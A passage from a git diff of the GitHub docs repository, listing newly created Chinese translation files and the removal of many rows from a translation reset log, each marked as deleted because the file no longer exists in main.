translations/zh-CN/data/release-notes/enterprise-server/3-2/13.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/14.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/15.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/16.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/17.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/18.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/3.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/5.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/6.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/7.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/8.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/9.yml create mode 100644 translations/zh-CN/data/release-notes/github-ae/2021-03/2021-03-03.yml create mode 100644 translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml create mode 100644 translations/zh-CN/data/release-notes/github-ae/2022-05/2022-05-17.yml create mode 100644 translations/zh-CN/data/reusables/actions/enterprise-s3-support-warning.md create mode 100644 translations/zh-CN/data/reusables/actions/enterprise-storage-about.md create mode 100644 translations/zh-CN/data/reusables/actions/enterprise-storage-contents.md create mode 100644 translations/zh-CN/data/reusables/actions/hardware-requirements-3.6.md create mode 100644 translations/zh-CN/data/reusables/actions/link-to-example-library.md create mode 100644 translations/zh-CN/data/reusables/actions/minio-gateways-removal.md create mode 100644 translations/zh-CN/data/reusables/actions/perform-blob-storage-precheck.md create mode 100644 translations/zh-CN/data/reusables/actions/reusable-workflows-ghes-beta.md create mode 100644 translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md create mode 100644 translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group.md create mode 100644 translations/zh-CN/data/reusables/actions/self-hosted-runner-create-group.md create mode 100644 translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md create mode 100644 translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md create mode 100644 translations/zh-CN/data/reusables/apps/metadata-permissions.md create mode 100644 translations/zh-CN/data/reusables/billing/about-invoices-for-enterprises.md create mode 100644 translations/zh-CN/data/reusables/billing/per-user-pricing-reference.md create mode 100644 translations/zh-CN/data/reusables/codespaces/about-billing-for-codespaces.md create mode 100644 translations/zh-CN/data/reusables/codespaces/about-personalization.md create mode 100644 translations/zh-CN/data/reusables/codespaces/apply-devcontainer-changes.md create mode 100644 translations/zh-CN/data/reusables/codespaces/availability.md create mode 100644 translations/zh-CN/data/reusables/codespaces/beta-functionality-limited.md create mode 100644 translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-default.md create mode 100644 translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-reducing.md create mode 100644 translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds.md create mode 100644 translations/zh-CN/data/reusables/codespaces/codespaces-api-beta-note.md create mode 100644 translations/zh-CN/data/reusables/codespaces/codespaces-billing.md create mode 100644 translations/zh-CN/data/reusables/codespaces/concurrent-codespace-limit.md create mode 100644 translations/zh-CN/data/reusables/codespaces/prebuilds-beta-note.md create mode 100644 translations/zh-CN/data/reusables/codespaces/prebuilds-not-available.md create mode 100644 translations/zh-CN/data/reusables/codespaces/review-pr.md create mode 100644 translations/zh-CN/data/reusables/codespaces/unsupported-repos.md create mode 100644 translations/zh-CN/data/reusables/codespaces/vscode-settings-order.md create mode 100644 translations/zh-CN/data/reusables/copilot/about-copilot.md create mode 100644 translations/zh-CN/data/reusables/copilot/duplication-setting-org.md create mode 100644 translations/zh-CN/data/reusables/copilot/telemetry-setting-org.md create mode 100644 translations/zh-CN/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md create mode 100644 translations/zh-CN/data/reusables/dependabot/create-dependabot-yml.md create mode 100644 translations/zh-CN/data/reusables/dependabot/dependabot-secrets-button.md create mode 100644 translations/zh-CN/data/reusables/dependency-review/beta.md create mode 100644 translations/zh-CN/data/reusables/dependency-review/dependency-review-api-beta-note.md create mode 100644 translations/zh-CN/data/reusables/desktop/paste-email-git-config.md create mode 100644 translations/zh-CN/data/reusables/discussions/discussion-category-forms-beta.md create mode 100644 translations/zh-CN/data/reusables/discussions/discussion-category-forms-name.md create mode 100644 translations/zh-CN/data/reusables/dotcom_billing/codespaces-minutes.md create mode 100644 translations/zh-CN/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md create mode 100644 translations/zh-CN/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md create mode 100644 translations/zh-CN/data/reusables/education/upgrade-organization.md create mode 100644 translations/zh-CN/data/reusables/education/upgrade-page.md create mode 100644 translations/zh-CN/data/reusables/enterprise-accounts/copilot-tab.md create mode 100644 translations/zh-CN/data/reusables/enterprise-accounts/oidc-beta-notice.md create mode 100644 translations/zh-CN/data/reusables/enterprise-accounts/repository-visibility-policy.md create mode 100644 translations/zh-CN/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md create mode 100644 translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md create mode 100644 translations/zh-CN/data/reusables/enterprise_installation/upgrade-hardware-requirements.md create mode 100644 translations/zh-CN/data/reusables/enterprise_management_console/username_normalization_sample.md create mode 100644 translations/zh-CN/data/reusables/enterprise_site_admin_settings/3-7-new-subdomains.md create mode 100644 translations/zh-CN/data/reusables/gated-features/advanced-security.md create mode 100644 translations/zh-CN/data/reusables/gated-features/codespaces.md create mode 100644 translations/zh-CN/data/reusables/gated-features/discussions.md create mode 100644 translations/zh-CN/data/reusables/gated-features/security-center.md create mode 100644 translations/zh-CN/data/reusables/getting-started/learning-lab-enterprise.md create mode 100644 translations/zh-CN/data/reusables/getting-started/learning-lab.md create mode 100644 translations/zh-CN/data/reusables/open-source/open-source-learning-lab.md create mode 100644 translations/zh-CN/data/reusables/organizations/organizations_include.md create mode 100644 translations/zh-CN/data/reusables/package_registry/about-graphql-support.md create mode 100644 translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md create mode 100644 translations/zh-CN/data/reusables/pages/pages-builds-with-github-actions-public-beta.md create mode 100644 translations/zh-CN/data/reusables/release-notes/babeld-max-threads-performance-issue.md create mode 100644 translations/zh-CN/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md create mode 100644 translations/zh-CN/data/reusables/rest-api/dotcom-only-guide-note.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/apps/oauth-applications.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/branches/branch-protection.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/checks/runs.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/deployments/statuses.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/enterprise-admin/audit-log.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/enterprise-admin/billing.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/interactions/interactions.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/issues/assignees.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/issues/labels.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/issues/milestones.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/metrics/community.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/orgs/custom_roles.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/orgs/members.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/orgs/outside-collaborators.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/projects/cards.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/projects/collaborators.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/projects/columns.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/pulls/review-requests.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/repos/forks.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/repos/lfs.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/users/blocking.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/users/emails.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/users/followers.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/users/keys.md create mode 100644 translations/zh-CN/data/reusables/rest-reference/webhooks/repos.md create mode 100644 translations/zh-CN/data/reusables/saml/idp-saml-and-scim-explanation.md create mode 100644 translations/zh-CN/data/reusables/saml/okta-add-ghec-org-integration.md create mode 100644 translations/zh-CN/data/reusables/secret-scanning/scan-issue-description-and-comments.md create mode 100644 translations/zh-CN/data/reusables/security-center/beta.md create mode 100644 translations/zh-CN/data/reusables/security-center/permissions.md create mode 100644 translations/zh-CN/data/reusables/server-statistics/release-phase.md create mode 100644 translations/zh-CN/data/reusables/support/support-ticket-translation-option.md diff --git a/translations/log/msft-cn-resets.csv b/translations/log/msft-cn-resets.csv index c22481fd30..467467a974 100644 --- a/translations/log/msft-cn-resets.csv +++ b/translations/log/msft-cn-resets.csv @@ -1,1057 +1 @@ file,reason -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md,file deleted because it no longer exists in main -translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md,file deleted because it no longer exists in main -translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md,file deleted because it no longer exists in main -translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md,file deleted because it no longer exists in main -translations/zh-CN/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/codespaces-reference/security-in-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/renaming-a-codespace.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/codespaces/troubleshooting/working-with-support-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md,file deleted because it no longer exists in main -translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md,file deleted because it no longer exists in main -translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,file deleted because it no longer exists in main -translations/zh-CN/content/github/copilot/about-github-copilot-telemetry.md,file deleted because it no longer exists in main -translations/zh-CN/content/github/copilot/github-copilot-telemetry-terms.md,file deleted because it no longer exists in main -translations/zh-CN/content/github/copilot/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/github/copilot/research-recitation.md,file deleted because it no longer exists in main -translations/zh-CN/content/github/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md,file deleted because it no longer exists in main 